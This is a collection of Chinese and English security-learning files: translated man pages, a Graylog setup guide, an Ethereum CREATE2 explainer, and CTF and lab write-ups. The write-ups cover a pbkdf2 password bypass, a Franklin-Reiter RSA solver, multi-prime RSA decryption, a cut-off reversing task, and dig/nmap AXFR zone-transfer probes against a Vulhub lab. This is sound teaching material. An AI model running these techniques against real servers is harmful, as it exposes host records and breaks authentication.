--version),那么信息以该顺序打印,每行一条。 .SH "译者" .B Postgresql 中文网站 .B 何伟平 <laser@pgsqldb.org>
sec-knowleage
.\" auto-generated by docbook2man-spec $Revision: 1.1 $ .TH "UPDATE" "7" "2003-11-02" "SQL - Language Statements" "SQL Commands" .SH NAME UPDATE \- 更新一个表中的行 .SH SYNOPSIS .sp .nf UPDATE [ ONLY ] \fItable\fR SET \fIcolumn\fR = { \fIexpression\fR | DEFAULT } [, ...] [ FROM \fIfromlist\fR ] [ WHERE \fIcondition\fR ] .sp .fi .SH "DESCRIPTION 描述" .PP \fBUPDATE\fR 改变满足条件的所有行的声明了的列/字段的值。 只有要更改的列/字段需要在语句中出现,没有明确的 SET 的字段保持它们原来的数值。 .PP 缺省时,UPDATE 将更新所声明的表和所有子表的记录。 如果你希望只更新所声明的表,你应该使用 ONLY 子句。 .PP 要更改表,你必须对它有UPDATE 权限, 同样对 expression 或者 condition 条件里提到的任何表也要有SELECT权限。 .SH "PARAMETERS 参数" .TP \fB\fItable\fB\fR 现存表的名称(可以有模式修饰)。 .TP \fB\fIcolumn\fB\fR 表 table 中列/字段的名。 .TP \fB\fIexpression\fB\fR 赋予列/字段的一个有效的值或表达式。表达式可以使用表中这个或其它字段的旧数值。 .TP \fBDEFAULT\fR 把字段设置为它的缺省值(如果没有缺省表达式赋予它,那么就是 NULL)。 .TP \fB\fIfromlist\fB\fR 一个表达式的列表,允许来自其它表中的列/字段出现在 WHERE 条件里。 .TP \fB\fIcondition\fB\fR 一个表达式,返回 boolean 类型。只有这个表达式返回 true 的行被更新。 .SH "OUTPUTS 输出" .PP 成功完成后,UPDATE 命令返回形如 .sp .nf UPDATE \fIcount\fR .sp .fi 的命令标签。count 是更新的行数。 如果 count 是 0, 那么没有符合 condition 的行(这个不认为是错误)。 .SH "EXAMPLES 例子" .PP 把表 films 里的字段 kind 里的词 Drama 用Dramatic 代替: .sp .nf UPDATE films SET kind = 'Dramatic' WHERE kind = 'Drama'; .sp .fi .PP 调整表 weather 中的一行的温度记录并且把降水设置为缺省值: .sp .nf UPDATE weather SET temp_lo = temp_lo+1, temp_hi = temp_lo+15, prcp = DEFAULT WHERE city = 'San Francisco' AND date = '2003-07-03'; .sp .fi .SH "COMPATIBILITY 兼容性" .PP 这条命令遵循 SQL 标准。FROM 子句是 PostgreSQL 扩展。 .SH "译者" .B Postgresql 中文网站 .B 何伟平 <laser@pgsqldb.org>
sec-knowleage
### 早期 CTF 竞赛介绍 第一个 CTF 比赛(1996 年-2001年),没有明确的比赛规则,没有专业搭建的比赛平台与环境。由参赛队伍各自准备比赛目标(自行准备与防守比赛目标,并要尝试攻破对方的比赛目标)。而组织者大都只是一些非专业的志愿者,接受参赛队伍手工计分的请求。 没有后台自动系统支持和裁判技术能力认定,计分延迟和误差以及不可靠的网络和不当的配置,导致比赛带来了极大的争论与不满。 ### 「现代」CTF 竞赛介绍 由专业队伍承担比赛平台、命题、赛事组织以及自动化积分系统。参赛队伍需提交参赛申请,由 DEFCON 会议组织者们进行评选。 就 LegitBS 组织的三年 DEFCON CTF 比赛而言,有以下突出特点: - 比赛侧重于对计算机底层和系统安全的核心能力,Web 漏洞攻防技巧完全被忽略。 - 竞赛环境趋向多 CPU 指令架构集,多操作系统,多编程语言。 - 采用「零和」计分规则。 - 团队综合能力考验:逆向分析、漏洞挖掘、漏洞利用、漏洞修补加固、网络流量分析、系统安全运行维护以及安全方面的编程调试。
sec-knowleage
## Mindblown (Crypto) ###ENG [PL](#pl-version) We are given authentication logic running on the server: ``` var express = require('express'); var app = express(); var port = process.env.PORT || 9898; var crypto = require('crypto'); var bodyParser = require('body-parser') var salt = 'somestring'; var iteration = /// some number here; var keylength = // some number here; app.post('/login', function (req, res) { var username = req.body.username; var password = req.body.password; if (username !== 'chintu') { res.send('Username is wrong'); return; } if (crypto.pbkdf2Sync(password, salt, iteration, keylength).toString() === hashOfPassword) { if (password === 'complexPasswordWhichContainsManyCharactersWithRandomSuffixeghjrjg') { // some logic here and return something } else { // return flag here } } else { res.send('Password is wrong'); } }); ``` It seems straightforward: we need to login as user `chintu` and our password hash has to match the hash value for `complexPasswordWhichContainsManyCharactersWithRandomSuffixeghjrjg` while at the same time it has to be a different string. Initially we thought it will require time-consuming hash collision generation, almost impossible since we don't know the number of iterations and keylen. However, we found this: https://mathiasbynens.be/notes/pbkdf2-hmac which describes vulnerability of `pbkdf2Sync` function in case password is longer than the size of hash function used. In our case the default `sha1` hash is used and we notice that the user password is longer than 64 bytes. This means that `pbkdf2Sync` will actually use `sha1(password)` instead of actual passsword value, and therefore we can use `sha1(password)` as `password` itself -> `sha1('complexPasswordWhichContainsManyCharactersWithRandomSuffixeghjrjg') = e6~n22k81<[p"k5hhV6*` We therefore login using `username: chintu` `password: e6~n22k81<[p"k5hhV6*` And we get the flag. ###PL version Dostajemy kod autentykacji działającej na serwerze: ``` var express = require('express'); var app = express(); var port = process.env.PORT || 9898; var crypto = require('crypto'); var bodyParser = require('body-parser') var salt = 'somestring'; var iteration = /// some number here; var keylength = // some number here; app.post('/login', function (req, res) { var username = req.body.username; var password = req.body.password; if (username !== 'chintu') { res.send('Username is wrong'); return; } if (crypto.pbkdf2Sync(password, salt, iteration, keylength).toString() === hashOfPassword) { if (password === 'complexPasswordWhichContainsManyCharactersWithRandomSuffixeghjrjg') { // some logic here and return something } else { // return flag here } } else { res.send('Password is wrong'); } }); ``` Zadanie wydaje się dość proste koncepcyjnie: mamy zalogować się jako użytkownik `chintu` a hash podanego hasła musi zgodzić się z hashem dla hasła `complexPasswordWhichContainsManyCharactersWithRandomSuffixeghjrjg`, jednocześnie będąc innym stringiem. Początkowo myśleliśmy, że będzie wymagało to czasochłonnego liczenia kolizji hashy, praktycznie niemożliwego przy braku znajomości liczby iteracji oraz długości klucza. Niemniej jednak znaleźliśmy artykuł: https://mathiasbynens.be/notes/pbkdf2-hmac opisujący podatność funkcji `pbkdf2Sync` w sytuacji gdy podane hasło jest dłuższe niż rozmiar hasha używanej funkcji. W naszym przypadku używana jest domyślna funkcja `sha1` i widzimy że hasło ma wiecej niż 64 bajty. To oznacza, że `pbkdf2Sync` w praktyce użyje wartości `sha1(password)` zamiast wartości hasła a co za tym idzie możemy z powodzeniem użyć wartości `sha1(password)` jako `password` -> `sha1('complexPasswordWhichContainsManyCharactersWithRandomSuffixeghjrjg') = e6~n22k81<[p"k5hhV6*` Dzięki temu logujemy się za pomocą: `username: chintu` `password: e6~n22k81<[p"k5hhV6*` I dostajemy flagę.
sec-knowleage
# Graylog日志管理系统 [官网地址](https://www.graylog.org/) [官方文档](http://docs.graylog.org/) ## 安装与使用 ### 安装graylog * **解决依赖** ``` # java>=8 yum install java-1.8.0-openjdk.x86_64 java-1.8.0-openjdk-devel.x86_64 -y # MongoDB>=2.4 yum install epel-release -y yum install mongodb.x86_64 mongodb-server.x86_64 -y # 启动MongoDB systemctl start mongod.service # ElasticSearch>=2.x and <= 6.x rpm -ivh elasticsearch-5.6.13.rpm # 启动ElasticSearch systemctl start elasticsearch.service ``` * **安装graylog** ``` rpm -Uvh https://packages.graylog2.org/repo/packages/graylog-2.4-repository_latest.rpm yum install graylog-server -y ``` ### 配置文件 ``` vim /etc/graylog/server/server.conf ``` ``` # 常规配置 is_master = true # 是否是主节点 password+secret = <secret> # 设置密钥 root_username = admin # 默认用户 root_password_sha2 = <SHA2> # 密码的SHA2 hash值 # REST API地址 rest_listen_uri = http://0.0.0.0:9000/api/ # Web地址 web_listen_uri = http://0.0.0.0:9000/ # ES地址 elasticsearch_hosts = http://node1:9200 # MongoDB配置 mongodb_uri = mongodb://localhost/graylog ``` 生成密钥 ``` yum install pwgen.x86_64 -y pwgen -N 1 -s 96 ``` 生成密码的SHA2 ``` echo -n "Enter Password: " && head -1 </dev/stdin | tr -d '\n' | sha256sum | cut -d" " -f1 ``` 启动服务 ``` systemctl start graylog-server ``` ## 配置录入数据 system/overview-inputs ![graylog-1](https://github.com/bloodzer0/ossa/raw/master/infrastructure-security/host-security/img/graylog-1.png) * **配置rsyslog** ``` vim /etc/rsyslog.d/graylog.conf ``` graylog.conf文件内容 ``` *.* @@10.10.10.5:5140;RSYSLOG_SyslogProtocol23Format ``` 重启rsyslog服务 ``` systemctl restart rsyslog.service ``` 点击:show received messages ![graylog-2](https://github.com/bloodzer0/ossa/raw/master/infrastructure-security/host-security/img/graylog-2.png) ## 参考资料 [Sending syslog from Linux systems into Graylog](https://marketplace.graylog.org/addons/a47beb3b-0bd9-4792-a56a-33b27b567856)
sec-knowleage
'\" t .TH "LOCALECTL" "1" "" "systemd 231" "localectl" .\" ----------------------------------------------------------------- .\" * Define some portability stuff .\" ----------------------------------------------------------------- .\" ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ .\" http://bugs.debian.org/507673 .\" http://lists.gnu.org/archive/html/groff/2009-02/msg00013.html .\" ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ .ie \n(.g .ds Aq \(aq .el .ds Aq ' .\" ----------------------------------------------------------------- .\" * set default formatting .\" ----------------------------------------------------------------- .\" disable hyphenation .nh .\" disable justification (adjust text to left margin only) .ad l .\" ----------------------------------------------------------------- .\" * MAIN CONTENT STARTS HERE * .\" ----------------------------------------------------------------- .SH "NAME" localectl \- 控制系统的本地化与键盘布局 .SH "SYNOPSIS" .HP \w'\fBlocalectl\fR\ 'u \fBlocalectl\fR [OPTIONS...] {COMMAND} .SH "描述" .PP \fBlocalectl\fR 可用于查询与修改系统的本地化(locale)与键盘布局的设置。 它通过与 \fBsystemd-localed.service\fR(8) 通信来修改例如 /etc/locale\&.conf 与 /etc/vconsole\&.conf 之类的配置文件。 .PP 本地化设置控制着 用户界面的语言、字符类型与字符编码、 日期时间与货币符号的表达方式 等许多细节。 .PP 键盘布局控制着 键盘上每个按键及组合键的含义。 .PP 注意,为了使此工具所做的修改在系统启动的早期就能生效, 可能需要重新制作 initramfs , 因为 localectl 并不会自动更新 initramfs 。 .PP 可以使用 \fBsystemd-firstboot\fR(1) 初始化已挂载(但未启动)的系统镜像的本地化(locale)设置。 .SH "选项" .PP 能够识别的命令行选项如下: .PP \fB\-\-no\-ask\-password\fR .RS 4 在执行特权操作时不向用户索要密码。 .RE .PP \fB\-\-no\-convert\fR .RS 4 与 \fBset\-keymap\fR 或 \fBset\-x11\-keymap\fR 命令连用, 表示不同时设置X11与控制台的键盘映射, 也就是不强迫保持两者一致。 .RE .PP \fB\-H\fR, \fB\-\-host=\fR .RS 4 操作指定的远程主机。可以仅指定一个主机名(hostname), 也可以使用 "username@hostname" 格式。 hostname 后面还可以加上容器名(以冒号分隔), 也就是形如 "hostname:container" 的格式, 以表示直接连接到指定主机的指定容器内。 操作将通过SSH协议进行,以确保安全。 可以通过 \fBmachinectl \-H \fR\fB\fIHOST\fR\fR 命令列出远程主机上的所有容器名称。 .RE .PP \fB\-h\fR, \fB\-\-help\fR .RS 4 显示简短的帮助信息并退出。 .RE .PP \fB\-\-version\fR .RS 4 显示简短的版本信息并退出。 .RE .PP \fB\-\-no\-pager\fR .RS 4 不将程序的输出内容管道(pipe)给分页程序。 .RE .PP 能够识别的命令如下: .PP \fBstatus\fR .RS 4 显示当前的本地化设置与键盘映射。 这是默认命令。 .RE .PP \fBset\-locale LOCALE\&.\&.\&.\fR .RS 4 设置系统的本地化环境变量(可以一次设置多个), 例如 "LANG=zh_CN\&.utf8", "LC_MESSAGES=en_US\&.utf8" 等等。参见 \fBlocale\fR(7) 以了解可用的环境变量及其含义。使用 \fBlist\-locales\fR 命令列出所有可用的 locale (见下文)。 .RE .PP \fBlist\-locales\fR .RS 4 列出所有可用的 locale , 以帮助正确使用 \fBset\-locale\fR 命令。 .RE .PP \fBset\-keymap MAP [TOGGLEMAP]\fR .RS 4 设置控制台的键盘映射(中国人应设为 "us")。 可选的[TOGGLEMAP]用于设置第二切换键盘映射。 除非明确设置了 \fB\-\-no\-convert\fR 选项, 否则此命令也会同时设置默认的X11键盘布局(将"MAP"自动转化为最接近的X11键盘布局)。 使用 \fBlist\-keymaps\fR 命令列出所有可用的 键盘映射 (见下文)。 .RE .PP \fBlist\-keymaps\fR .RS 4 列出所有可用的控制台键盘映射, 以帮助正确使用 \fBset\-keymap\fR 命令。 .RE .PP \fBset\-x11\-keymap LAYOUT [MODEL [VARIANT [OPTIONS]]]\fR .RS 4 设置默认的X11键盘布局(中国人应设为 "us")。 可选的,还可以设置 Model, Variant, Options 三项(无默认值)。 "MODEL"一般设为"pc104","VARIANT"与"OPTIONS"一般直接忽略,详见 \fBkbd\fR(4) 手册。除非明确设置了 \fB\-\-no\-convert\fR 选项, 否则此命令也会同时设置控制台的键盘映射, 也就是将"LAYOUT"自动转化为最接近的控制台键盘映射。 .RE .PP \fBlist\-x11\-keymap\-models\fR, \fBlist\-x11\-keymap\-layouts\fR, \fBlist\-x11\-keymap\-variants [LAYOUT]\fR, \fBlist\-x11\-keymap\-options\fR .RS 4 分别列出所有可用的X11键盘的 Layout, Model, Variant, Options 以帮助正确使用 \fBset\-x11\-keymap\fR 命令。 \fBlist\-x11\-keymap\-variants\fR 命令有个可选的"LAYOUT"参数用于过滤出仅适合于特定键盘布局的变种。 .RE .SH "退出状态" .PP 返回值为 0 表示成功, 非零返回值表示失败代码。 .SH "环境变量" .PP \fI$SYSTEMD_PAGER\fR .RS 4 指定分页程序。仅在未指定 \fB\-\-no\-pager\fR 选项时有意义。 此变量会覆盖 \fI$PAGER\fR 的值。 将此变量设为空字符串或 "cat" 等价于使用 \fB\-\-no\-pager\fR 选项。 .RE .PP \fI$SYSTEMD_LESS\fR .RS 4 用于覆盖 默认传递给 \fBless\fR 程序的命令行选项 ("FRSXMK")。 .RE .SH "参见" .PP \fBsystemd\fR(1), \fBlocale\fR(7), \fBlocale.conf\fR(5), \fBvconsole.conf\fR(5), \fBloadkeys\fR(1), \fBkbd\fR(4), \m[blue]\fBThe XKB Configuration Guide\fR\m[]\&\s-2\u[1]\d\s+2, \fBsystemctl\fR(1), \fBsystemd-localed.service\fR(8), \fBsystemd-firstboot\fR(1), \fBmkinitrd\fR(8) .SH "NOTES" .IP " 1." 4 The XKB Configuration Guide .RS 4 \%http://www.x.org/releases/current/doc/xorg-docs/input/XKB-Config.html .RE .\" manpages-zh translator: 金步国 .\" manpages-zh comment: 金步国作品集:http://www.jinbuguo.com
sec-knowleage
# DNS Zone Transfers (AXFR) [中文版本(Chinese version)](README.zh-cn.md) DNS zone transfers using the AXFR protocol are the simplest mechanism to replicate DNS records across DNS servers. To avoid the need to edit information on multiple DNS servers, you can edit information on one server and use AXFR to copy information to other servers. However, if you do not protect your servers, malicious parties may use AXFR to get information about all your hosts. References: - https://www.acunetix.com/blog/articles/dns-zone-transfers-axfr/ - https://nmap.org/nsedoc/scripts/dns-zone-transfer.html ## Vulnerable Environment Vulhub uses [Bind9](https://wiki.debian.org/Bind9) to build the dns server, but that does not mean that only Bind9 supports AXFR records. To run the DNS server. ``` docker compose up -d ``` Once the environment is running, it will listen on port 53 of TCP and UDP, and the DNS protocol supports data transfer from both ports. ## POC Under Linux, we can use the **dig** command to send AXFR record requests: `dig @your-ip -t axfr vulhub.org` ![](2.png) As you can see, I got all the subdomain records of `vulhub.org`, and there is a DNS zone transfers vulnerability here. We can also use the Nmap script to scan for this vulnerability: `nmap --script dns-zone-transfer.nse --script-args "dns-zone-transfer.domain=vulhub.org" -Pn -p 53 your-ip` ![](3.png)
sec-knowleage
# Rsa padding (Crypto, 303p, 47 solved) In the task we can connect to a netcat service which gives us the crypto source code: ```python #!/usr/bin/env python3 # -*- coding=utf-8 -*- from Crypto.Util.number import getPrime, GCD, bytes_to_long from hashlib import sha256 import random import signal import sys, os signal.alarm(20) m = b"xxxxxxxxxxxxxx" n = 21727106551797231400330796721401157037131178503238742210927927256416073956351568958100038047053002307191569558524956627892618119799679572039939819410371609015002302388267502253326720505214690802942662248282638776986759094777991439524946955458393011802700815763494042802326575866088840712980094975335414387283865492939790773300256234946983831571957038601270911425008907130353723909371646714722730577923843205527739734035515152341673364211058969041089741946974118237091455770042750971424415176552479618605177552145594339271192853653120859740022742221562438237923294609436512995857399568803043924319953346241964071252941 e = 3 def welcom(): batch = """ _ _ __ _ _____ _______ ______ | \ | | /_ | | / ____|__ __| ____| | \| |_ _| | | | | | | | |__ | . ` | | | | | | | | | | | __| | |\ | |_| | | |____ | |____ | | | | |_| \_|\__,_|_|______| \_____| |_| |_| _|_|_| _|_|_| _|_| _|_|_| _|_| _| _| _|_|_|_| _| _| _| _| _| _| _| _| _|_| _|_| _| _|_|_| _|_| _|_|_|_| _| _|_| _|_|_|_| _| _| _| _|_|_| _| _| _| _| _| _| _| _| _| _| _| _| _| _| _|_|_| _| _| _|_|_| _| _| _| _| _|_|_|_| """ print(batch) def proof(): strings = "abcdefghijklmnopqrstuvwxyzWOERFJASKL" prefix = "".join(random.sample(strings, 6)) starwith = str(random.randint(10000, 99999)) pf = """ sha256("%s"+str).hexdigest().startswith("%s") == True Please give me str """%(prefix, starwith) print(pf) s = input().strip() if sha256((prefix+s).encode()).hexdigest().startswith(starwith): return True else: return False def cmd(): help = """ 1. get code 2. get flag Please tell me, what you want? """ while True: print(help) c = input().strip() if c == "1": return True elif c == "2": return False else: print("Enter Error!") def main(): if not proof(): print("Check Failed!") return welcom() if cmd(): f = open("file.py") print(f.read()) return mm = bytes_to_long(m) assert pow(mm, e) != pow(mm, e, n) sys.stdout.write("Please give me a padding: ") padding = input().strip() padding = int(sha256(padding.encode()).hexdigest(),16) c = pow(mm+padding, e, n) print("Your Ciphertext is: %s"%c) if __name__ == '__main__': main() ``` The only important part is: ```python n = 21727106551797231400330796721401157037131178503238742210927927256416073956351568958100038047053002307191569558524956627892618119799679572039939819410371609015002302388267502253326720505214690802942662248282638776986759094777991439524946955458393011802700815763494042802326575866088840712980094975335414387283865492939790773300256234946983831571957038601270911425008907130353723909371646714722730577923843205527739734035515152341673364211058969041089741946974118237091455770042750971424415176552479618605177552145594339271192853653120859740022742221562438237923294609436512995857399568803043924319953346241964071252941 e = 3 ### ### sys.stdout.write("Please give me a padding: ") padding = input().strip() padding = int(sha256(padding.encode()).hexdigest(),16) c = pow(mm+padding, e, n) print("Your Ciphertext is: %s"%c) ``` We can give some string input, the script will calculate sha256 from it, add to the flag and then RSA encrypt. This is a textbook example for Franklin-Reiter related message attack, so we run a solver for it: ```python import hashlib def chunk(input_data, size): return [input_data[i:i+size] for i in range(0, len(input_data), size)] def long_to_bytes(data): data = int(data) data = hex(data).rstrip('L').lstrip('0x') if len(data) % 2 == 1: data = '0' + data return bytes(bytearray(int(c, 16) for c in chunk(data, 2))) def gcd(a, b): while b: a, b = b, a % b return a.monic() def franklin(n, pad1, pad2, c1, c2): R.<X> = PolynomialRing(Zmod(n)) f1 = (X + pad1)^3 - c1 f2 = (X + pad2)^3 - c2 return -gcd(f1, f2).coefficients()[0] def main(): n = 21727106551797231400330796721401157037131178503238742210927927256416073956351568958100038047053002307191569558524956627892618119799679572039939819410371609015002302388267502253326720505214690802942662248282638776986759094777991439524946955458393011802700815763494042802326575866088840712980094975335414387283865492939790773300256234946983831571957038601270911425008907130353723909371646714722730577923843205527739734035515152341673364211058969041089741946974118237091455770042750971424415176552479618605177552145594339271192853653120859740022742221562438237923294609436512995857399568803043924319953346241964071252941 pad1 = int(hashlib.sha256("1").hexdigest(),16) pad2 = int(hashlib.sha256("2").hexdigest(),16) c1 = 14550589053226237723784378782911157204367764723813789158271625147472004207734354619642445255036997940341703539883653916130592718879734436263217819317202435434496341973502556894834798718992952369685841347018901038478081710519253844078907000973324354805502890255414196801758171762906898874914776720897920729518384393581853690034053515213192846817920534901501370942556249012415259244063185938984570137371682805276444650716010228924732495062415330875872004691866847132147232457398743319930259327973290858489741376000333603734294893832124907092640953321640151851853501528390729805151850605432707293088635480863375398001441 c2 = 14550589053226237723784378782911157204367764723816957959635387925652898370034365455451983914571405062459535687617841302966938233065296973978472553109061974458935966754832788411876301179210585984208608247433383774246743661884093657109502619626436726032508763685599880808525861655167503719155953736308920858354069083437923495143680174206534169208623366776314544036377265501358254923029291010047210371394197963442022610746743020719292018028518885149189744832788117626194748311114409968846879212425054195323473068436359069318372735069308398135560733890706617536127579272964863500568572120716434126233695562326533941909353 result = franklin(n, pad1, pad2, c1, c2) print(long_to_bytes(result)) main() ``` And get: `N1CTF{f7efbf4e5f5ef78ca1fb9c8f5eb02635}`
sec-knowleage
### CREATE2概述 `CREATE2` 是以太坊在“君士坦丁堡”这次硬分叉升级中引入的一个新操作码,不同于 `CREATE`,它使用新的方式来计算合约地址,让生成的合约地址更具有可控性。通过 `CREATE2` 可以延伸出很多有意思的玩法,在 CTF 中最常见的就是利用这种可控性,在同一个地址先后部署字节码完全不同的合约。 ### CREATE原理 如果利用外部账户或者使用 `CREATE` 操作码的合约账户创建一个合约,那么很容易就能确定被创建合约的地址。每个账户都有一个与之关联的 `nonce`:对外部账户而言,每发送一个交易,`nonce` 就会随之 `+1`;对合约账户而言,每创建一个合约,`nonce` 就会随之 `+1`。新合约的地址由创建合约交易的发送者账户地址及其 `nonce` 值计算得到,其具体公式如下: ```python keccak256(rlp.encode(address, nonce))[12:] ``` ### CREATE2原理 不同于原来的 `CREATE` 操作码,在合约地址的计算方法上,`CREATE2` 不再依赖于账户的 `nonce`,而是对以下参数进行哈希计算,得出新的地址: - 合约创建者的地址(`address`) - 作为参数的混淆值(`salt`) - 合约创建代码 (`init_code`) 具体的计算公式如下: ```python keccak256(0xff ++ address ++ salt ++ keccak256(init_code))[12:] ``` 一个需要注意的重要细节是,计算合约地址所需的最后一个参数并非合约代码,而是其创建代码。该代码是用来创建合约的,合约创建完成后将返回运行时字节码。 这意味着,如果我们控制了合约的创建代码并使其保持不变,然后控制合约构造函数返回的运行时字节码,那么我们很容易就能做到在同一个地址上,反复部署完全不同的合约。事实上 `CREATE2` 这种让合约在部署后可以被重新更改的特性存在着潜在的安全问题,也引起了人们对其的[讨论](https://ethereum-magicians.org/t/potential-security-implications-of-create2-eip-1014/2614)。 在 CTF 中,这种特性往往会被用来作为一个技巧,通过在同一个地址上部署不同的合约用来 bypass 不同的校验。
sec-knowleage
# Relatively Secure Algorithm Category: Cryptography, 100 points ## Description > We found this file on one of the faculty's computers, can you figure out what it is? ``` n: 64688515842284381671285004713804057636974557043123767909276429885604529285055404207075465905227143695430455279800518929093831790936189708370062485183802100838287376867856559903530579349374796297159049065333233931788848350374173712353230060293523474403987407765649434254998522278378495084980700748935618891923962239344544154272491020249558215375977606486760460422202116533788408155245251359521777496616339405771279249068498668116863069351420020125562376739789157649944067345626979176860652958691999120437343723606888389461284256787402625251235241451411378545300689504397171479953543369035178883526250835923703615578136066684839630468512969083190896398779217095068726488419589358409070454386485844997512703281268502500904561738131008765847551172137972586469740509371675414288404281022456568352136696484283422736887811386820703315621810671355735245976200449110198324297579063662473065418084750048169016026532746592187197223016440024737743946165469032386005490490777351422019715144641826330155082800871042763249387422682239874216066638266888151007585252882687342656759731162027247188605648618213032769015693624797403843186368832529467616755553007077348968460557923432409793346685045600037583739794581285620144710211799130766036576699501229814477038586532407516082567813449345012514324236599197601215293935631469950279433487156213490137438955911443975101487007277541610916632919492197556190435604801295384189903757992369143122734749876437785266527123465057030823398306626678265572569955990069442076473575637262453172104176942861509829663820711953 e: 65537 c: 24715967685667908755682143552558301228895312856211439254751278856867878822964565163534510469936883475207381551974263121288818638815590209829046605705934884999799688011188009729082903829082870627331532547086642464951949279593609910113030150833000695261470152359233914523508358790960728100932841856192486816774999547660137998025855054463626455166680450815005634311609262714477388320655298195005372476666536344433868302715671653367396357979323660932473642853195202942908928916112439518280638675390127960040234256408831855808991407641499245314300208714360285350544849965807918228311619616815547521337911167590562212366417466162226443285490382429794073515122796613960489756521974327788417877937398348904790717154292050633465186458177127847198714850112602023951651380018700866140645706146487547682120601474189742409942928804526991649478343057631302061542546856756336249425712037804186270745139317426342565606602358076267515330051294412355034202584625120525189906061509752862456253790575835529817600288958034138055806341374192687343961164073740105171251649685229987579568602088627287970037488651160912111961547302445627842762654485495100388400925879614578755424340717930964599631708087549274389877839616079093186662873897681760959522420756566179048190110035556928426843206576658026137330265525476055769521706260856523778437320323643528914761561220779422057582174267224786127758596199130903736855530483273104550604941266288619364648307969406683695314328473918200752704899649476756898042631730322277193245007417103723086092182980256619512655253112468 ``` ## Solution If we search for `n` in [FactorDB](http://factordb.com/) we'll find that the website has already factorized it into multiple prime factors. RSA is pretty much similar when multiple primes are used instead of just two: ```python import gmpy2 import functools from factordb.factordb import FactorDB with open("message.txt") as f: params = {} for line in f: name, value = line.strip().split(": ") params[name] = int(value) c = params["c"] e = params["e"] n = params["n"] f = FactorDB(n) f.connect() r = f.get_factor_list() assert(n == functools.reduce(lambda x, y: x * y, r)) phi_n = 1 for i in range(len(r)): phi_n *= (r[i] - 1) print("phi_n: {}".format(phi_n)) d = gmpy2.invert(e, phi_n) print("d: {}".format(d)) plaintext = pow(c, d, n) print("plaintext: {}".format(str(plaintext))) plaintext_decoded = bytes.fromhex(format(plaintext, 'x')) print("Flag: {}".format(plaintext_decoded)) ``` Output: ```console ┌──(user@kali)-[/media/sf_CTFs/ducky_debug_duck/Relatively_Secure_Algorithm] └─$ python3 solve.py phi_n: 64688515842284381671285004713804057636974557043123767909276429885604529285055404207075465905227143695430455279800518929093831790936189708370062485183802100838287376867856559903530579349374796297159049065333233931788848350374173712353230060293523474403987407765649434254998522278378495084980700748935618891921722776338730326433769542747617648882227321346160321997467043890511528366767224588156728337344114863198239096213292953790521527859014576988657739632907021832860777375604194573376276890630770813858497094137480237618085048615465508500107258429723334667113325326881304262766539396746586423149858585710231051588618823397698281040046381902152189630943833701589041142580172471074065262383603093807060928023015970934225318139269931953581781846989345698741217637762880743695015785511196590211532988551139442182565147574442514162796230730031975714417556470557108218293729322509932259360911570494352736676528542646881661916445330144724872748500371480296738411295549774849944540471045261027289622644900202112347287917143351175505377868033530852802108356563322545327918706732258958301053363356043426684801366017476639681532148349890136083984309930879477854150384943977367126717331022520761345700863096252056669185952208283830048189856635887260651023404723854385259539496967661500605710591643511273851103319608086960327225749989814896999942193927403836786546641377383892100210004069994291343365729927845871828749806987838905361021820708339256790512621039679838325195921723654732180190980586909199055437107765490601990274911576612270753540374240000 d: 30697359395380384667851193167207931283243186658546304865625478270935515216827487844119306493317731494085587671113968272804952449732448844626835883382154284390050466463071837481114500477067246972574979415167974964960757796307990943347810471567642401299479811122140125506667287835231566857544589976530780285010994985185994371913426503798631443005283575596465904971561485344079047442001627854367368834267695687099886108491896346535319277910422407866506793148655086119321454695535200745105851828716861808001575592835736078702449685093015812660837934863731872196579404270351230031463743766709169442604339564148316000189298341511946176058492797612904666028691475473693015846533154765253268072388575250887278863260689331157276155364622959301713435394378269545918364718165701681934098157214981063453906586263338826187920962045335645367700120171872292670070128419584754651402032163969343931918219476667750585327983241166333821896050319170864451263841212643807750806281819399695336606934243368142403638620266357716923274703192978341367735045788528762716413169493863484134126856270095573541095253068845851502164006334490799000498189018136064089169660479581789847934403035807194678439797287034738817023923009802691035776479144263959511401262513940122468938582585590908671005361180619690691328553338010598849036624194142308408635134728218308691246200331755486581039726365818378081336208959470565646561090693135276467859667017437324819991434213182643181484390715687977354984103111306012951522643640277646072052337633806212092368429284719190997987482473473 plaintext: 46484042852512501777975836148161753489665014689134403201615570586404791913114928273134032916595772456211705243532707835859174461388150685079314397693486333548790588842720237461997728244540669640364499489931741081250270876792484568519957499528584496088293608867192651423921031768146046102012699308047603552792813795005796542317106233028092773512487917548143441567388132562642269208199086123122082239415711713465565319951923575659497544114614391366283295065359582722957207281578178025788201031177072945707423705076355136535127425203989706591638097839573510733400769668330343323297265520152439444731043169584698052888937914443778974229564534980078678643448266344758286056470340278054497582641226129162747107716094674099849309376964332939223641502512253630236695464185650952889522299809911017958359349047618311518819584203708432771938018999878837029434399718074324890547096090454711291434616302131168019477495906352348399449931220378277800974439850292667954359022534126155349498969061921854442581642672009387590141156169740431444166788664126784986407504050049880891603314462992827238517108947566152430114680078929488652682101493406312373797294561045460361597746905247426705722232526586321566189211811335374018492790752927812330222934301570522979627939218437503171303395881709181399755233179022242941853233505818092197473032962651196209057968215173112173342976893 Flag: b"CTF or Capture the Flag are a type of computer security competition where each participant or team competes to collect points by solving challenges in a number of areas in computer security. In order to solve a challenge a team must retrieve a flag. Flags are strings with certain fixed formats that are placed on servers, encrypted, hidden, returned after showing a specific ability and more. Submitting this flag to the website will yield points which will move the participants up the leaderboard. Anyways, here's the flag: flag{Rs4_1s_s1mpl3_t0_us3_4nd_4t7ack}" ```
sec-knowleage
# Modus Tollens Category: Reversing, 100 Points ## Description > Remember your training, > > keep calm and carry on. > > A binary file was attached. ## Solution Let's run the attached binary: ```console root@kali:/media/sf_CTFs/matrix/Modus_Tollens# ./modus_tollens Enter flag: test Checking ... Wrong! try again... ``` So we need to enter a flag. After checking if the flag is saved in plaintext as a string, and running `strace` in hope of some `memcmp`, we must open the program in a disassembler. Our main function looks like this: ```c undefined8 main(void) { size_t sVar1; ulong uVar2; long in_FS_OFFSET; undefined8 uStack160; byte user_input [128]; long local_10; local_10 = *(long *)(in_FS_OFFSET + 0x28); uStack160 = 0x101309; printf("Enter flag: "); uStack160 = 0x101324; fgets((char *)user_input,128,stdin); uStack160 = 0x101333; sVar1 = strlen((char *)user_input); user_input[sVar1 - 1] = 0; uStack160 = 0x101350; printf("Checking "); uStack160 = 0x10135f; fflush(stdout); uStack160 = 0x101369; sleep(1); uStack160 = 0x101373; 